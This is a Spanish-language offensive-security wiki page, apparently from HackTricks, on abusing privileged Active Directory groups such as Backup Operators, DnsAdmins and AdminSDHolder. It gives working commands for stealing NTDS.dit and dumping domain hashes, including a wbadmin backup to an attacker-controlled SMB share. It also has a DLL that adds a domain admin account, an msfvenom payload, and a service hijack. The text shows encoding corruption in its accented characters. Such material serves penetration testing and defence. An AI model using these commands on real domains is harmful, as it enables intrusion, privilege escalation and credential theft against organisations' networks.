Grupos Privilegiados
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Grupos bien conocidos con privilegios de administraci贸n
- Administradores
- Administradores de Dominio
- Administradores de Empresa
Operadores de Cuenta
Este grupo tiene la capacidad de crear cuentas y grupos que no son administradores en el dominio. Adem谩s, permite el inicio de sesi贸n local en el Controlador de Dominio (DC).
Para identificar a los miembros de este grupo, se ejecuta el siguiente comando:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Agregar nuevos usuarios est谩 permitido, as铆 como el inicio de sesi贸n local en DC01.
Grupo AdminSDHolder
La lista de control de acceso (ACL) del grupo AdminSDHolder es crucial, ya que establece permisos para todos los "grupos protegidos" dentro de Active Directory, incluidos los grupos de alto privilegio. Este mecanismo garantiza la seguridad de estos grupos al prevenir modificaciones no autorizadas.
Un atacante podr铆a explotar esto modificando la ACL del grupo AdminSDHolder, otorgando permisos completos a un usuario est谩ndar. Esto le dar铆a efectivamente a ese usuario control total sobre todos los grupos protegidos. Si los permisos de este usuario son alterados o eliminados, se restablecer铆an autom谩ticamente dentro de una hora debido al dise帽o del sistema.
Los comandos para revisar los miembros y modificar permisos incluyen:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Un script est谩 disponible para acelerar el proceso de restauraci贸n: Invoke-ADSDPropagation.ps1.
Para m谩s detalles, visita ired.team.
Papelera de reciclaje de AD
La membres铆a en este grupo permite la lectura de objetos de Active Directory eliminados, lo que puede revelar informaci贸n sensible:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Acceso al Controlador de Dominio
El acceso a los archivos en el DC est谩 restringido a menos que el usuario sea parte del grupo Server Operators
, lo que cambia el nivel de acceso.
Escalamiento de Privilegios
Usando PsService
o sc
de Sysinternals, se puede inspeccionar y modificar los permisos de los servicios. El grupo Server Operators
, por ejemplo, tiene control total sobre ciertos servicios, lo que permite la ejecuci贸n de comandos arbitrarios y el escalamiento de privilegios:
C:\> .\PsService.exe security AppReadiness
Este comando revela que Server Operators
tienen acceso completo, lo que permite la manipulaci贸n de servicios para obtener privilegios elevados.
Backup Operators
La membres铆a en el grupo Backup Operators
proporciona acceso al sistema de archivos de DC01
debido a los privilegios SeBackup
y SeRestore
. Estos privilegios permiten la navegaci贸n por carpetas, la enumeraci贸n y la capacidad de copiar archivos, incluso sin permisos expl铆citos, utilizando la bandera FILE_FLAG_BACKUP_SEMANTICS
. Es necesario utilizar scripts espec铆ficos para este proceso.
Para listar los miembros del grupo, ejecute:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Ataque Local
Para aprovechar estos privilegios localmente, se emplean los siguientes pasos:
- Importar las bibliotecas necesarias:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
- Habilitar y verificar
SeBackupPrivilege
:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Acceder y copiar archivos de directorios restringidos, por ejemplo:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Attack
El acceso directo al sistema de archivos del Controlador de Dominio permite el robo de la base de datos NTDS.dit
, que contiene todos los hashes NTLM para usuarios y computadoras del dominio.
Using diskshadow.exe
- Create a shadow copy of the
C
drive:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
- Copia
NTDS.dit
de la copia de sombra:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Alternativamente, utiliza robocopy
para copiar archivos:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Extraer
SYSTEM
ySAM
para la recuperaci贸n de hashes:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
- Recuperar todos los hashes de
NTDS.dit
:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Usando wbadmin.exe
- Configura el sistema de archivos NTFS para el servidor SMB en la m谩quina atacante y almacena en cach茅 las credenciales SMB en la m谩quina objetivo.
- Usa
wbadmin.exe
para la copia de seguridad del sistema y la extracci贸n deNTDS.dit
:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
Para una demostraci贸n pr谩ctica, consulta VIDEO DEMOSTRATIVO CON IPPSEC.
DnsAdmins
Los miembros del grupo DnsAdmins pueden explotar sus privilegios para cargar un DLL arbitrario con privilegios de SYSTEM en un servidor DNS, a menudo alojado en Controladores de Dominio. Esta capacidad permite un potencial de explotaci贸n significativo.
Para listar los miembros del grupo DnsAdmins, usa:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Ejecutar DLL arbitraria
Los miembros pueden hacer que el servidor DNS cargue una DLL arbitraria (ya sea localmente o desde un recurso compartido remoto) utilizando comandos como:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
Reiniciar el servicio DNS (lo que puede requerir permisos adicionales) es necesario para que se cargue el DLL:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Para m谩s detalles sobre este vector de ataque, consulta ired.team.
Mimilib.dll
Tambi茅n es factible usar mimilib.dll para la ejecuci贸n de comandos, modific谩ndolo para ejecutar comandos espec铆ficos o shells reversos. Consulta esta publicaci贸n para m谩s informaci贸n.
Registro WPAD para MitM
DnsAdmins pueden manipular registros DNS para realizar ataques Man-in-the-Middle (MitM) creando un registro WPAD despu茅s de deshabilitar la lista de bloqueo de consultas global. Herramientas como Responder o Inveigh se pueden usar para suplantar y capturar tr谩fico de red.
Lectores de Registros de Eventos
Los miembros pueden acceder a los registros de eventos, encontrando potencialmente informaci贸n sensible como contrase帽as en texto plano o detalles de ejecuci贸n de comandos:
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Permisos de Windows de Exchange
Este grupo puede modificar DACLs en el objeto de dominio, lo que podr铆a otorgar privilegios de DCSync. Las t茅cnicas para la escalada de privilegios que explotan este grupo se detallan en el repositorio de GitHub Exchange-AD-Privesc.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Administradores de Hyper-V
Los Administradores de Hyper-V tienen acceso completo a Hyper-V, lo que puede ser explotado para obtener control sobre Controladores de Dominio virtualizados. Esto incluye clonar DCs en vivo y extraer hashes NTLM del archivo NTDS.dit.
Ejemplo de Explotaci贸n
El Servicio de Mantenimiento de Mozilla Firefox puede ser explotado por los Administradores de Hyper-V para ejecutar comandos como SYSTEM. Esto implica crear un enlace duro a un archivo protegido de SYSTEM y reemplazarlo con un ejecutable malicioso:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Nota: La explotaci贸n de enlaces duros ha sido mitigada en las actualizaciones recientes de Windows.
Gesti贸n de la Organizaci贸n
En entornos donde se despliega Microsoft Exchange, un grupo especial conocido como Organizaci贸n Management tiene capacidades significativas. Este grupo tiene privilegios para acceder a los buzones de todos los usuarios del dominio y mantiene control total sobre la Unidad Organizativa (OU) 'Microsoft Exchange Security Groups'. Este control incluye el grupo Exchange Windows Permissions
, que puede ser explotado para la escalaci贸n de privilegios.
Explotaci贸n de Privilegios y Comandos
Operadores de Impresi贸n
Los miembros del grupo Print Operators est谩n dotados de varios privilegios, incluyendo el SeLoadDriverPrivilege
, que les permite iniciar sesi贸n localmente en un Controlador de Dominio, apagarlo y gestionar impresoras. Para explotar estos privilegios, especialmente si SeLoadDriverPrivilege
no es visible en un contexto no elevado, es necesario eludir el Control de Cuentas de Usuario (UAC).
Para listar los miembros de este grupo, se utiliza el siguiente comando de PowerShell:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Para obtener t茅cnicas de explotaci贸n m谩s detalladas relacionadas con SeLoadDriverPrivilege
, se deben consultar recursos de seguridad espec铆ficos.
Usuarios de Escritorio Remoto
A los miembros de este grupo se les concede acceso a PCs a trav茅s del Protocolo de Escritorio Remoto (RDP). Para enumerar a estos miembros, est谩n disponibles comandos de PowerShell:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
M谩s informaci贸n sobre la explotaci贸n de RDP se puede encontrar en recursos dedicados de pentesting.
Usuarios de Gesti贸n Remota
Los miembros pueden acceder a PCs a trav茅s de Windows Remote Management (WinRM). La enumeraci贸n de estos miembros se logra a trav茅s de:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
Para t茅cnicas de explotaci贸n relacionadas con WinRM, se debe consultar la documentaci贸n espec铆fica.
Operadores de Servidor
Este grupo tiene permisos para realizar varias configuraciones en Controladores de Dominio, incluyendo privilegios de respaldo y restauraci贸n, cambiar la hora del sistema y apagar el sistema. Para enumerar los miembros, el comando proporcionado es:
Get-NetGroupMember -Identity "Server Operators" -Recurse
Referencias
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.